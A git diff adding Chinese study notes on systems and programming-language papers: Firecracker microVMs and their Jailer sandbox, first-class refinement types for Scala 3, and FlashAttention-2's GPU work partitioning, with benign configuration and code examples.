+| `virtio-net` | 网络（经 TUN/TAP 接到宿主） |
+| `virtio-block` | 块设备磁盘（**刻意不用文件系统直通**，缩小宿主攻击面） |
+| `virtio-vsock` | 宿主与客户机的高效 IPC |
+| serial console | 日志与调试 |
+| i8042 键盘控制器 | 不到 50 行 Rust，仅用于接收关机信号 |
+
+对比 QEMU 的 40+ 种设备。virtio 块设备整套实现约 1400 行 Rust。
+
+## 核心概念四：REST API 与启动流水线
+
+Firecracker 通过 **Unix socket 上的 REST API** 配置 microVM，而不是传统 QEMU 的命令行参数。好处是：
+
+1. 可以先 `fork` 进程、配好内核/磁盘/网络，**暂不启动**（pre-configured）
+2. 需要时再 `InstanceStart`，把冷启动藏进预热池
+3. OpenAPI 规范，任何语言都能调
+
+论文测得（5.1 节，单 vCPU、256MB、裁剪内核）：
+
+| 场景 | 典型启动时间 |
+|------|--------------|
+| QEMU | ~2× 于 Firecracker |
+| Firecracker 端到端（含 API 配置） | 中位数约 100ms 量级 |
+| Firecracker 预配置后启动 | 99 分位约 146ms |
+| Ubuntu 18.04 默认内核在 Firecracker 上 | **额外 +900ms**（探测不存在的 legacy 设备） |
+
+内存开销（5.2 节）：Firecracker 每 VM 约 **3MB**，Cloud Hypervisor ~13MB，QEMU ~**131MB**。
+
+密度：单主机可达 **150 个 microVM/秒** 创建速率；Lambda worker 上每台跑数百至数千个 slot。
+
+## 核心概念五：Jailer 与纵深防御
+
+安全不只靠「代码少」：
+
+1. **Rust**：内存安全，减少 VMM 自身漏洞
+2. **Jailer**（3.4.1 节）：在启动 Firecracker 前把它关进 `chroot` + pid/network namespace + 降权 + **seccomp 白名单仅 24 个 syscall**
+3. **生产加固**：禁用 SMT（超线程）、KPTI、禁用 swap、避免 samepage merging 等（见官方 prod-host-setup 文档）
+
+## 核心概念六：在 AWS Lambda 里怎么落地
+
+论文第 4 节是全文最有「系统感」的部分。
+
+### 控制面与数据面
+
+```
+Invoke API → Frontend → Worker Manager（粘性路由）
+                              ↓
+                    Placement（约 <20ms 选 worker）
+                              ↓
+                    Worker 上的 MicroManager
+                              ↓
+              Firecracker microVM（一个 slot = 一个函数沙箱）
+```
+
+### Slot 复用
+
+同一函数的多次调用可复用已启动的 microVM。论文 Listing 1 的 Node.js 例子：
+
+```javascript
+var i = 0;
+exports.handler = async (event, context) => {
+  return i++;
+};
+```
+
+连续 invoke 会返回递增数字，说明 **VM 与进程状态被保留**——这是「温启动」快的原因。
+
+### 预热池与 Little 定律
+
+125ms 启动虽快，但 Lambda 扩容路径有时要**同步**等 slot。MicroManager 维护 **pre-booted microVM 池**。论文用 Little 定律：池大小 = 创建速率 × 创建延迟；125ms 延迟下，每秒 8 次新建就需要 1 个预热实例。
+
+### Slot 状态机
+
+```
+Init → Idle ⇄ Busy → Dead
+```
+
+空闲 slot 占内存（约等于服务器资本成本的 40%）；忙碌时还要 CPU、缓存、网络。多租户把不同客户的函数混在同一 worker，负载近似独立，统计多路复用效率随 √N 提升——这是 serverless **经济学**的数学底座。
+
+### 无缝迁移
+
+2018 年起，AWS 把 Lambda 从「每客户 EC2 + 容器」迁到 **裸金属 EC2 上的 Firecracker**，**对用户无感知**。技巧：slot 最长 12 小时回收，改回收逻辑即可逐步切换；先迁内部 workload，对比 metrics，DNS 缓存配置出过一回滚。
+
+## 代码示例一：用 REST API 启动一台 microVM
+
+下面是与论文 3.2 节 API 模型对应的最小流程（需已安装 `firecracker` 与 `curl`）。API 走 Unix socket，故用 `--unix-socket`：
+
+```bash
+API_SOCKET="/tmp/firecracker.socket"
+rm -f "$API_SOCKET"
+
+# 1. 后台启动 Firecracker 进程，监听 API
+firecracker --api-sock "$API_SOCKET" &
+
+# 2. 配置 guest 机器：1 vCPU，128 MiB 内存
+curl --unix-socket "$API_SOCKET" -X PUT \
+  "http://localhost/machine-config" \
+  -H "Content-Type: application/json" \
+  -d '{"vcpu_count": 1, "mem_size_mib": 128, "smt": false}'
+
+# 3. 指定内核镜像与启动参数（须为 Firecracker 裁剪过的 microvm 内核）
+curl --unix-socket "$API_SOCKET" -X PUT \
+  "http://localhost/boot-source" \
+  -H "Content-Type: application/json" \
+  -d '{
+    "kernel_image_path": "/path/to/vmlinux",
+    "boot_args": "console=ttyS0 reboot=k panic=1 pci=off"
+  }'
+
+# 4. 挂载 rootfs 块设备
+curl --unix-socket "$API_SOCKET" -X PUT \
+  "http://localhost/drives/rootfs" \
+  -H "Content-Type: application/json" \
+  -d '{
+    "drive_id": "rootfs",
+    "path_on_host": "/path/to/rootfs.ext4",
+    "is_root_device": true,
+    "is_read_only": false
+  }'
+
+# 5. 启动 guest
+curl --unix-socket "$API_SOCKET" -X PUT \
+  "http://localhost/actions" \
+  -H "Content-Type: application/json" \
+  -d '{"action_type": "InstanceStart"}'
+```
+
+论文强调：**预配置**（步骤 2–4 提前做完，步骤 5 在请求到来时才调）能把启动时间压到接近图 5 里的「FC-pre」曲线——这正是 Lambda 预热池的做法。
+
+## 代码示例二：Jailer 如何把 Firecracker 关进笼子
+
+Jailer 是独立二进制，典型调用形如：
+
+```bash
+# 示意：具体路径因发行版而异
+jailer --id 12345 \
+  --exec-file /usr/bin/firecracker \
+  --uid 1000 --gid 1000 \
+  --chroot-base-dir /srv/jailer \
+  -- \
+  --api-sock /run/firecracker.socket
+```
+
+Jailer 在 `exec` Firecracker 之前会：
+
+- 创建仅含必要文件（二进制、`/dev/net/tun`、该 VM 的磁盘镜像、cgroup 文件）的 chroot
+- 进入独立的 pid / network namespace
+- 应用 seccomp：白名单 **24 个 syscall**，KVM ioctl 另计
+
+即使 guest 通过漏洞攻破了 VMM 进程，逃逸后看到的仍是**极简文件系统 + 几乎无 syscall**，这是论文「多层缓解」的具体实现。
+
+## 代码示例三：用 vsock 从宿主向 guest 发命令
+
+Lambda 的 MicroManager 与 guest 内 shim 走 TCP/IP（论文 4.1.2），但 Firecracker 更推荐 **virtio-vsock** 做宿主↔客户机控制通道：
+
+```bash
+# 宿主侧：向 CID=3（guest）端口 1024 发送一行命令
+socat VSOCK-CONNECT:3:1024 -
+```
+
+```python
+# guest 内极简监听（Python 3，需内核启用 vsock）
+import socket
+s = socket.socket(socket.AF_VSOCK, socket.SOCK_STREAM)
+s.bind((socket.VMADDR_CID_ANY, 1024))
+s.listen(1)
+conn, _ = s.accept()
+print(conn.recv(1024).decode())
+conn.close()
+```
+
+vsock 不经过虚拟网卡栈，延迟更低，也减少「从网络面打进 microVM」的攻击面——新人常踩的坑是以为能 `ssh root@<tap-ip>`，而生产环境往往根本不给 tap 配路由。
+
+## 论文评估：六个设计目标达标了吗？
+
+第 2 节提出的理想方案六条标准，第 5 节用实验回应：
+
+| 标准 | Firecracker 结论 |
+|------|------------------|
+| **Isolation** | 硬件 VM 边界；配合 SMT 关闭与内核缓解应对侧信道 |
+| **Overhead / Density** | ~3MB/VM；远优于 QEMU 的 ~131MB |
+| **Performance** | virtio 路径足够；块 IO 当时有序列化瓶颈（论文承认，后续改进） |
+| **Compatibility** | 任意 Linux 二进制，无需重编译 |
+| **Fast Switching** | 125ms 级启动；150 VM/s 创建 |
+| **Soft Allocation** | 依赖宿主 Linux 调度与 cgroup，VMM 内建 token-bucket 限速器 |
+
+与 **Intel Cloud Hypervisor**（同源 rust-vmm）、**QEMU 4.2 最小构建**对比，Firecracker 在启动时间与内存开销上全面领先；块设备随机读 IOPS 则不如 QEMU 优化充分——论文坦诚这是已知限制。
+
+## 与相关工作的位置
+
+| 项目 | 关系 |
+|------|------|
+| [[kvm-2007]] | Firecracker 的 CPU/内存虚拟化底座 |
+| [[xen-2003]] | 另一条 hypervisor 路线；Firecracker 是 Type-2（宿主 Linux + KVM） |
+| [[denali-2002]] | 千 VM 密度思想的学术先驱 |
+| [[mirage-unikernel-2013]] | 更激进地砍掉 guest OS；Firecracker 选择兼容未修改 Linux |
+| Kata Containers | 也用 VM 包容器，多基于 QEMU；Firecracker 更瘦 |
+| gVisor | 用户态 syscall 拦截， opposite trade-off |
+| crosvm / rust-vmm | Firecracker 从 crosvm fork 后删到一半行数再演进 |
+
+## 踩坑与误解
+
+1. **不是容器替代品**：Firecracker 替代的是 **QEMU 那一层**，不是 Docker；编排仍靠 containerd/K8s。
+2. **内核必须裁剪**：直接用 Ubuntu stock kernel 会多探测 900ms；要关 serial 日志、内置驱动、禁用模块。
+3. **块 IO 耐久性**：论文发表时 Firecracker 块设备未实现 flush，高性能写入以耐久性为代价——读论文要连**评测条件**一起看。
+4. **侧信道无银弹**：Meltdown/Spectre 后需宿主、固件、调度策略协同；Firecracker 文档列出长清单，不是「开了 VM 就万事大吉」。
+5. **与 firecracker-2020 笔记的关系**：本仓库 [[firecracker-2020]] 是更短的速读版；本篇按论文结构展开，适合零基础第一遍精读。
+
+## 学到什么
+
+1. **窄场景值得重写底层**：当 95% 的 QEMU 功能用不上时，重写 VMM 比优化 QEMU 更划算。
+2. **借力清单要清晰**：KVM 做虚拟化、Linux 做调度、virtio 做设备、OpenAPI 做配置——每层只做一件事。
+3. **安全是架构决策**：块设备而非 fs 直通、进程 per VM、Jailer seccomp——从设计第一天就写进代码。
+4. **经济学驱动技术**：125ms 不是炫技，它直接决定预热池大小与多租户能否赚钱。
+5. **生产迁移可以渐进**：slot 回收替换、内外部客户分批、可回滚——论文第 4.3 节是值得复制的 playbook。
+
+## 延伸阅读
+
+- 论文 PDF：[Firecracker: Lightweight Virtualization for Serverless Applications](https://www.usenix.org/system/files/nsdi20-paper-agache.pdf)
+- 官方站点：[firecracker-microvm.github.io](https://firecracker-microvm.github.io/)
+- 复现实验数据：[nsdi2020-data](https://github.com/firecracker-microvm/nsdi2020-data)
+- 生产宿主加固：[prod-host-setup.md](https://github.com/firecracker-microvm/firecracker/blob/master/docs/prod-host-setup.md)
+- Jeff Barr 博文：[Firecracker – Lightweight Virtualization for Serverless Computing](https://aws.amazon.com/blogs/aws/firecracker-lightweight-virtualization-for-serverless-computing/)
+
+## 关联
+
+- [[kvm-2007]] — Linux 内核如何变成 hypervisor
+- [[xen-2003]] — 半虚拟化时代的另一条路
+- [[denali-2002]] — 高密度轻量 VM 的早期实验
+- [[mirage-unikernel-2013]] — 编译期裁 OS 的极端方案
+- [[firecracker-2020]] — 本主题的短笔记版本
+- [[on-demand-container-loading]] — Lambda 上块设备与镜像加载的后续工程
+
+## 反向链接
+
+<!-- 由 scripts/regen-backlinks.mjs 自动生成 -->
diff --git a/src/content/docs/papers/first-class-refinement-scala.md b/src/content/docs/papers/first-class-refinement-scala.md
new file mode 100644
index 000000000..bac5f88ca
--- /dev/null
+++ b/src/content/docs/papers/first-class-refinement-scala.md
@@ -0,0 +1,285 @@
+---
+title: First-Class Refinement Types for Scala — 把「带条件的类型」写进 Scala 3 本身
+来源: 'Bovel, Kunčak & Odersky, "First-Class Refinement Types for Scala", arXiv:2605.08369, 2026'
+日期: 2026-06-13
+子分类: 类型与 PL 理论
+分类: 编程语言
+provenance: pipeline-v3
+---
+
+## 从日常类比开始：VIP 名单不是贴在门外的便签
+
+想象一家 nightclub 的入场规则：
+
+- **普通做法**：门口保安只认身份证上的「是否成年」（相当于 `Int`、`String` 这类基础类型）。至于「是否穿正装、是否在 guest list 上」，另有一张**手写便签**贴在保安亭里——保安和前台各看各的，规则不一致时，客人会在两个窗口之间来回解释。
+- **理想做法**：guest list 直接写进**同一份正式名册**。前台登记时，姓名后面就带上「仅限 VIP 区」；保安、调酒师、储物柜系统读的都是同一份数据，子集关系也自然成立——「VIP」一定是「已入场客人」的子集。
+
+编程里的 **refinement type（精化类型）** 就是给类型加逻辑谓词：  
+`{ x: Int | x > 0 }` 表示「正整数」，比裸 `Int` 更窄。
+
+Liquid Haskell、F*、Dafny 等系统早已证明：这种「类型 + 谓词」的轻量验证很管用——数组下标不越界、除数不为零、协议状态机不变量，都可以写进类型。
+
+但 Liquid Haskell 的典型写法是：
+
+```haskell
+{-@ x :: {v:Int | v mod 2 == 0} @-}
+let x = 42 :: Int in ...
+```
+
+注意 **`Int` 写了两遍**：一遍给 GHC，一遍给 LiquidHaskell 插件。两套类型检查器、两套报错、两套 IDE 心智模型。Gamboa 等人 2025 年的可用性研究里，有参与者说：「好像在同时跟 GHC 和 LiquidHaskell 说话。」
+
+这篇论文（EPFL，Matt Bovel、Viktor Kunčak、Martin Odersky）的核心主张是：**在 Scala 3 里，精化类型应该是 first-class——和普通类型一样，参与子类型、推断、模式匹配、重载解析**，而不是编译器外的第二层。
+
+Liquid Haskell 的例子在 Scala 3 原型里变成：
+
+```scala
+val x: (Int with x % 2 == 0) = 42
+```
+
+`Int with x % 2 == 0` 就是**普通 Scala 类型**，不是注释里的注解。
+
+---
+
+## 是什么
+
+**First-Class Refinement Types for Scala** 提出并实现了 Scala 3 精化类型的完整设计：
+
+1. **语法**：两种写法——长形式 `{ v: T with p(v) }` 与短形式 `T with p`（复用外层绑定名）。
+2. **语义**：谓词是 Scala 表达式的一个**纯子集**；采用**部分正确性（partial correctness）**——程序若终止且返回值存在，则满足谓词；不要求证明终止。
+3. **类型推断**：保留 Scala 原有 widening，不强行给每个中间表达式推断最精类型；用 **equality facts（等式事实）** 和 **selfification（自化）** 按需恢复精度。
+4. **证明义务**：编译器内置轻量 **e-graph 求解器**（约 600 行），不依赖外部 SMT；IDE 里每次按键都能跑。
+5. **形式化**：在 Rocq 中 mechanize 核心演算 soundness，覆盖依赖函数类型、有界多态、正等递归类型、并/交类型与精化类型的组合。
+6. **工程**：作为 Dotty（Scala 3 编译器）原型扩展，约 2500 行改动。
+
+论文状态：2026 年 5 月 arXiv 草稿（`2605.08369`），与 [scala/scala3#21586](https://github.com/scala/scala3/pull/21586) 工作相关。
+
+---
+
+## 为什么重要
+
+### 1. 解决「两套类型系统」的结构性问题
+
+Schmid & Kunčak 2016 年在旧版 Dotty 上做过 qualified types，但 refinement checker **与 Scala 类型检查器 largely independent**。结果是：精化类型流不进泛型代码、无法与 Scala 推断协同、需要单独的 qualifier 推断——难以扩展。
+
+用户态库 **Iron**、**Refined** 走另一条路：用 opaque type + implicit evidence 模拟约束，能复用 Scala 工具链，但证明能力受 implicit 解析限制，没有专用算术/等式决策过程。
+
+First-class 设计的目标是：**一条类型检查管线、一种报错语言、一种推断行为**。
+
+### 2. 与 Scala 既有特性自然组合
+
+精化类型是基类型的**子类型**（refinement <: base），因此：
+
+- **有界多态**里，`U <: T` 可以实例化为精化类型；
+- **重载解析**会选更具体的签名；
+- **模式匹配**可以把精化类型当 pattern，运行时分支。
+
+这些在「外挂 refinement 层」的架构里往往要单独造机制；在 first-class 设计里从子类型直接推出。
+
+### 3. 工业编译器上的可行性
+
+不是只在论文语言里演示：作者 fork Dotty，改 bidirectional type checker 的一个 reconciliation 点，加 e-graph solver，benchmark 显示编译开销仍较低——说明「主流 OO 语言 + 丰富子类型」与 refinement 可以共存。
+
+---
+
+## 核心概念
+
+### 1. Refinement type 的两种语法
+
+**长形式**（显式 binder，用于返回值等没有现成名的情况）：
+
+```scala
+def fill[T](n: Int, v: T): { r: Vec[T] with r.len == n } = ???
+```
+
+**短形式**（复用 `val`/参数名，desugar 为长形式）：
+
+```scala
+val x: (Int with x % 2 == 0) = 42
+// 等价于
+val x: { v: Int with v % 2 == 0 } = 42
+```
+
+谓词 **reuse Scala 表达式语法**，但语义上限制在纯 fragment：常量、stable identifier、`val` 字段选择、构造器、布尔/比较/算术等。可变变量、引用相等类不能出现在谓词里。
+
+### 2. 子类型：精化类型是基类型的子集
+
+若 `p ⇒ q`（谓词蕴含），则 `{ x: T | p(x) } <: { x: T | q(x) }`。  
+任意 `{ x: T | p(x) } <: T`——精化类型可当作基类型用。
+
+这是 bounded polymorphism 与重载能工作的根基。
+
+### 3. 部分正确性 vs 全正确性
+
+- **全正确性**（Liquid Haskell、System FR）：还要证明终止，否则 unsound。
+- **部分正确性**（本文）：只要**能返回**，返回值满足谓词；不终止的表达式理论上可赋「假谓词」类型，但强迫求值的路径不可达。
+
+取舍：Scala 是通用语言，要求终止证明 adoption 成本太高；部分正确性仍覆盖大量实践（边界检查、除零、格式验证）。
+
+### 4. Mixed-precision 推断：equality facts
+
+若每个 `val x = 1 + 2` 都推断成 `{ v: Int | v == 1 + 2 }`，会破坏：
+
+- **向后兼容**（implicit / overload 依赖推断类型）；
+- **性能**（类型变大、比较变慢）；
+- **可读性**（满屏 singleton union）。
+
+因此 **`val mPlusN = m + n` 仍推断为 `Int`**，但上下文记录 **`mPlusN ~ m + n`**。当后续需要 `{ r: Vec[...] with r.len == m + n }` 时，求解器用等式替换验证义务。
+
+### 5. Selfification：把表达式「抬」进类型
+
+检查表达式 `e: T` 是否符合期望 `{ x: T | p(x) }` 时，若 `e` 是合法谓词项，可赋 **自引用类型** `{ x: T | x == e }`——无需改变无注解代码的推断，只在需要精度的边界生效。
+
+例如 `case class Range(from: Int, until: Int)` 构造结果可 selfify 为 `{ r: Range | r == Range(from, until) }`，配合 skolem 变量，求解器能展开 `?1.from`、`?1.until` 验证循环体里的下标。
+
+### 6. E-graph 求解器（内置，无 SMT 依赖）
+
+义务形式：`P1 ⇒ P2`（假设谓词能否推出目标谓词）。
+
+- 收集 qualifier、val 等式、分支条件；
+- 插入 **acyclic e-graph**，做 congruence closure；
+- 域相关 rewrite：`x + 0 → x`、`x % 2 == 0` 与偶数判定等。
+
+优点：无平台相关 SMT 二进制、适合 IDE 实时反馈。  
+代价：线性算术等理论**没有完备决策过程**——Schmid 原型里需要 LA 的 benchmark（如 `sumnat`）本文求解器过不了；与 Stainless 的全功能验证不在同一赛道。
+
+### 7. 运行时兜底
+
+静态证不出的谓词，程序员可显式：
+
+- **模式匹配**：`case id: ID => ...` 运行时检验；
+- **`.runtimeChecked`**：失败抛异常（desugar 为 `if` + `asInstanceOf`）。
+
+不自动插入 dynamic check，形式化更简单；且限制在一阶谓词，避开高阶 contract 的 blame assignment 问题。
+
+### 8. 形式化核心（Rocq）
+
+核心演算在 System F<sub><:</sub> 上扩展：依赖函数/对、和类型、并/交、精化、正等递归、fuel-bounded definitional interpreter + semantic typing。
+
+作者称这是首个 mechanized soundness proof，**同时**组合：精化 + 并/交 + 双界有界多态 + 正等递归——此前 mechanization 未覆盖这一组合（Hamza 2019、Borkowski 2024、Sun 2024 等各覆盖子集）。
+
+---
+
+## 代码示例
+
+### 示例 1：长度索引向量（依赖精化）
+
+经典「向量长度在类型里」：
+
+```scala
+type Vec[T]
+
+object Vec:
+  def fill[T](n: Int, v: T): { r: Vec[T] with r.len == n } = ???
+
+  extension [T](a: Vec[T])
+    def len: Int = ???
+
+  def concat(b: Vec[T]): { r: Vec[T] with r.len == a.len + b.len } = ???
+
+  def zip[S](b: Vec[S] with b.len == a.len): { r: Vec[(T, S)] with r.len == a.len } = ???
+
+def example3(n: Int, m: Int): { r: Vec[(String, Int)] with r.len == m + n } =
+  val v1 = Vec.fill(n, 0)
+  val v2 = Vec.fill(m, 1)
+  val v3 = v1.concat(v2)
+  val mPlusN = m + n   // 推断仍为 Int，但有 mPlusN ~ m + n
+  Vec.fill(mPlusN, "").zip(v3)
+```
+
+要点：
+
+- `zip` 要求 `b.len == a.len`——**依赖精化**（谓词引用其他绑定）。
+- `mPlusN` 不必写成精化类型；**等式事实**在 `fill(..., "").zip(v3)` 处把义务 discharge 掉。
+
+### 示例 2：有界多态 + 重载解析
+
+**有界多态**：精化类型实例化类型参数
+
+```scala
+def maximum[T: Ordering, U <: T](xs: List[U]): U = xs.reduce(max)
+
+type Even = { v: Int with v % 2 == 0 }
+
+def example1: Even = maximum(List(2, 4, 6))
+// U 推断为 Even；Even <: Int 满足 U <: T
+```
+
+**重载**：更具体的精化签名优先
+
+```scala
+def min(l: List[Int] with l.isSorted): Int = l.head  // O(1)
+def min(l: List[Int]): Int = l.min                    // O(n)
+
+def example2(l: List[Int] with l.isSorted): Int = min(l)
+// 调用第一个 overload
+```
+
+若 refinement 是外挂层，`maximum` / `min` 这类 everyday Scala 代码很难「无感」组合；first-class 子类型让泛型与重载**零额外机制**生效。
+
+### 示例 3：运行时精化（模式 + checked cast）
+
+```scala
+type ID = { s: String with s.matches(idRegex) }
+
+"a2e7-e89b" match
+  case id: ID => println(s"valid: $id")
+  case _      => println("invalid")
+
+val id: ID = userInput.runtimeChecked
+```
+
+静态证不出时，程序员**显式**选择运行时路径——与 Flanagan 2006 hybrid checking「编译器自动插桩」不同，责任边界清晰。
+
+---
+
+## 与相关工作的对比（简表）
+
+| 系统 | Refinement 位置 | 与宿主类型系统 | 求解 / 证明 |
+|------|-----------------|----------------|-------------|
+| Liquid Haskell | 注释注解 | 分离 phase | 外部 SMT + 终止 |
+| Schmid Dotty 2016 | 限定类型 | 独立 checker | SMT，更强算术 |
+| Iron / Refined（库） | opaque + implicit | 完全 inside Scala | implicit 能力上限 |
+| **本文 Scala 3** | **普通类型语法** | **同一 type checker** | **内置 e-graph** |
+| F* / Dafny | first-class | 为验证设计的语言 | SMT / Dafny 求解器 |
+| Stainless | 精化 + 依赖 | 独立验证器 | 强大 SMT，目标更重 |
+
+本文定位：**在已有丰富子类型的工业语言里**，把 refinement 做成 first-class，并用 modest 编译器改动 + 轻量求解器证明可行。
+
+---
+
+## 学习路径（零基础）
+
+1. **先理解 refinement 直觉**：集合 `{ x ∈ T | P(x) }`；子类型 = 谓词变强（集合变小）。
+2. **读 Liquid Haskell 一个例子**，再对照论文 Scala 语法——体会「一套 vs 两套类型系统」。
+3. **手画子类型格**：`{ v:Int | v>0 }` → `Int`；`Even` 如何放进 `U <: T`。
+4. **跟踪 equality fact**：写 `val a = m+n`，在需要 `len == m+n` 的地方求解器怎么用 `a ~ m+n`。
+5. **了解 selfification 触发点**：期望类型是 qualified type 时，表达式如何变成 `{ x:T | x==e }`。
+6. **区分静态义务 vs `.runtimeChecked`**：哪些证明是编译期，哪些是程序员承担的动态检查。
+7. **若学类型论**：读 §3 的 F<sub><:</sub> + 精化 + 正等递归；对比 Hamza System FR 的全正确性假设。
+8. **若学编译器**：Dotty bidirectional checking 的 reconciliation 点、e-graph congruence closure（Nelson-Oppen 传统）。
+
+---
+
+## 局限与开放问题
+
+- **求解器能力**：无完备线性算术；复杂不变量仍可能证不出，需 `.runtimeChecked` 或弱化规范。
+- **谓词纯度**：目前不传递检查被调用函数是否纯；未来或与 Scala 3 capture tracking / safe mode 集成。
+- **JVM 擦除**：参数化精化如 `List[ID]` 的模式匹配受限；需 workaround（如 `filter` + 精化元素）。
+- **高阶谓词**：运行时检查仅限一阶；高阶 contract 仍是 future work。
+- **草稿阶段**：论文写「coming months will update」；API 以最终 Scala 3 PR 为准。
+
+---
+
+## 一句话总结
+
+**Refinement type 不是编译器外的「验证注释」，而是 Scala 3 类型语法里的普通公民**——与子类型、泛型、重载、模式匹配同一套规则；通过 equality facts 与 selfification 保持推断兼容，用内置 e-graph  discharge 义务，并在 Rocq 里证明核心 soundness。对学习者而言，这篇论文的价值在于：它把「轻量形式化验证」从专用语言/插件，推到了**你已经在写的 Scala 类型**里。
+
+---
+
+## 参考链接
+
+- 论文 HTML：[arXiv:2605.08369](https://arxiv.org/html/2605.08369v1)
+- 论文 PDF：[https://arxiv.org/pdf/2605.08369](https://arxiv.org/pdf/2605.08369)
+- 相关工作 PR：[scala/scala3#21586](https://github.com/scala/scala3/pull/21586)
+- 历史背景：Liquid Types（Rondon et al. 2008）、Liquid Haskell（Vazou et al. 2014）
+- 形式化参考：System FR（Hamza et al. 2019）、Schmid SMT-based qualified types for Scala（2016）
diff --git a/src/content/docs/papers/flash-attention.md b/src/content/docs/papers/flash-attention.md
index 8ff79c68c..9cd42fe0a 100644
--- a/src/content/docs/papers/flash-attention.md
+++ b/src/content/docs/papers/flash-attention.md
@@ -158,13 +158,17 @@ with sdpa_kernel(SDPBackend.MATH):
 - [[colbert-v2]] —— ColBERTv2 — 让向量检索既精又能扛百万文档
 - [[cutlass-2020]] —— CUTLASS — 把 SOTA GEMM 拆成可组合的 C++ 模板层级
 - [[distserve]] —— DistServe — 把 prefill 和 decode 拆到不同 GPU 上跑
+- [[ds-zero-pp-comm]] —— ZeRO++ — 巨型模型训练中的极致高效集合通信
 - [[eagle]] —— EAGLE — 让大模型先在"特征层"猜下一步而不是猜 token
 - [[fastertransformer-2021]] —— FasterTransformer 2021 — NVIDIA 第一代开源 LLM 推理引擎
 - [[fermi-architecture-2010]] —— NVIDIA Fermi — 把 GPU 从游戏卡推上超算
+- [[flashattention-2]] —— FlashAttention-2 — 更快的 Attention 与更好的并行
+- [[flashattention-3-2024]] —— FlashAttention-3 — Hopper 上的异步 Attention 与 FP8 低精度
 - [[gat-2018]] —— GAT — 让图神经网络的邻居自带权重
 - [[gpt-3]] —— GPT-3 — Language Models are Few-Shot Learners
 - [[gpu-microbenchmarking-2010]] —— GPU 微基准 — 用秒表把闭源芯片"戳"出真相
 - [[http-2]] —— HTTP/2 — 把 HTTP 从文本协议改造成二进制多路复用
+- [[liger-kernel-llm-training]] —— Liger Kernel — 面向 LLM 训练的高效 Triton Kernel 套件
 - [[lindholm-2008-tesla]] —— Lindholm 2008 Tesla — SM、warp、SIMT 这套词汇的官方出生证明
 - [[llama]] —— LLaMA — Meta 开源大语言模型
 - [[longformer-2020]] —— Longformer — 滑窗加少数全局 token，把长文档喂进 Transformer
@@ -175,9 +179,11 @@ with sdpa_kernel(SDPBackend.MATH):
 - [[reformer-2020]] —— Reformer — 用哈希分桶把 attention 从 O(L²) 压到 O(L log L)
 - [[rwkv-2023]] —— RWKV — 让 RNN 拿到 Transformer 那张训练并行的入场券
 - [[sarathi-serve]] —— Sarathi-Serve — 让长 prompt 不再卡住所有人的流式回复
+- [[sglang-radixattention]] —— SGLang — 结构化语言模型程序的高效执行（RadixAttention 零基础笔记）
 - [[sparsegpt-2023]] —— SparseGPT — 175B 大模型一次过剪 50%，不重训
 - [[specinfer-2023]] —— SpecInfer — 让大模型一次"猜一棵树"再并行验证
 - [[tabpfn-2023]] —— TabPFN — 一秒解决小表格分类的 Transformer
+- [[tensorrt-llm-overview]] —— TensorRT-LLM — NVIDIA 开源 LLM 推理优化库零基础笔记
 - [[tesla-architecture-2008]] —— NVIDIA Tesla — 把显卡改造成通用并行计算机
 - [[transformer-xl-2019]] —— Transformer-XL — 让 Transformer 像 RNN 那样把上下文滚动传下去
 - [[triton-2019]] —— Triton 2019 — 让 Python 写出贴近 cuBLAS 的 GPU kernel
diff --git a/src/content/docs/papers/flashattention-2.md b/src/content/docs/papers/flashattention-2.md
new file mode 100644
index 000000000..7376d7d7a
--- /dev/null
+++ b/src/content/docs/papers/flashattention-2.md
@@ -0,0 +1,303 @@
+---
+title: FlashAttention-2 — 更快的 Attention 与更好的并行
+来源: https://arxiv.org/abs/2307.08691
+日期: 2026-06-13
+子分类: ML 系统
+分类: 机器学习
+provenance: pipeline-v3
+---
+
+## 从日常类比开始：流水线已经省下了仓库运费，但车间排班还不对
+
+FlashAttention（第一代）解决的是**仓库问题**：标准 attention 要把整张 N×N 的「谁看谁」分数表写进 HBM（显存里的慢速仓库），FlashAttention 用分块 + online softmax，**从不把整张表落盘**，显存从 O(N²) 降到 O(N)，速度也涨了 2–4×。
+
+但 Tri Dao 在 2023 年的 FlashAttention-2 论文里发现：**仓库运费省下来了，车间里的工人排班还是乱的**。
+
+想象一条 GPU 上的**汽车装配线**：
+
+- **Streaming Multiprocessor（SM）** = 一条独立产线（A100 有 108 条）。
+- **Thread block** = 一个班组，负责某批零件。
+- **Warp（32 线程）** = 班组里 32 个工人，必须步调一致干活。
+
+FlashAttention-1 的排班是：**每个 attention head 派一个班组**（thread block 数 ≈ batch × heads）。当 batch 很小、head 不多时，108 条产线可能只开了 8 条——**大量 SM 空转（低 occupancy）**。序列很长时，单个班组要干完一整头 attention，**内部工人还要互相传半成品（shared memory 读写）**，进一步拖慢。
+
+FlashAttention-2 做了三件事：
+
+1. **少做「非矩阵乘」杂活**——GPU 的 Tensor Core 算矩阵乘比算 exp/除法快一个数量级，把 rescale 挪到块末尾统一做。
+2. **沿序列长度再切一刀并行**——哪怕 batch=1、head=1，长序列也能拆成多个 row block，**多条产线同时干同一头 attention**。
+3. **班组内按 Q 行切 warp，而不是按 K 列切**——每个 warp 独立算自己那几行输出，**不用在 shared memory 里开会合并**。
+
+结果：在 FlashAttention 已经很快的基础上再快约 **2×**，A100 上达到理论峰值 FLOPs 的 **50–73%**，端到端 GPT 训练约 **225 TFLOPs/s（72% MFU）**——接近 cuBLAS 那种纯 GEMM 的效率。
+
+---
+
+## 是什么
+
+**FlashAttention-2: Faster Attention with Better Parallelism and Work Partitioning**（Tri Dao，2023 年 7 月，[arXiv:2307.08691](https://arxiv.org/abs/2307.08691)）是在 FlashAttention **数学完全不变**（仍是 exact attention，无近似）的前提下，重写 CUDA kernel，优化 **GPU 并行调度与工作划分**。
+
+| 项目 | 内容 |
+|------|------|
+| 作者 | Tri Dao（Stanford，Christopher Ré 组） |
+| 实现 | 基于 NVIDIA CUTLASS 3.x / CuTe 从零重写 |
+| 相对 FA1 | 约 **2×** kernel 加速；A100 达峰值 FLOPs 的 50–73%（FA1 仅 25–40%） |
+| 端到端 | GPT 类模型训练最高约 **225 TFLOPs/s / A100**，**72% model FLOPs utilization** |
+| 开源 | [github.com/Dao-AILab/flash-attention](https://github.com/Dao-AILab/flash-attention)（v2 起默认后端） |
+
+与 PagedAttention（[[paged-attention-vllm]]）正交：PagedAttention 管 **KV cache 怎么存**；FlashAttention-2 管 **attention 矩阵怎么算**。现代 LLM 栈里两者常一起出现。
+
+---
+
+## 为什么重要
+
+- **长上下文训练/推理的算力底座**：32k、128k context 若仍用 naive attention，算力和显存都扛不住；FA2 让「长序列 + 大 batch」在硬件上可行。
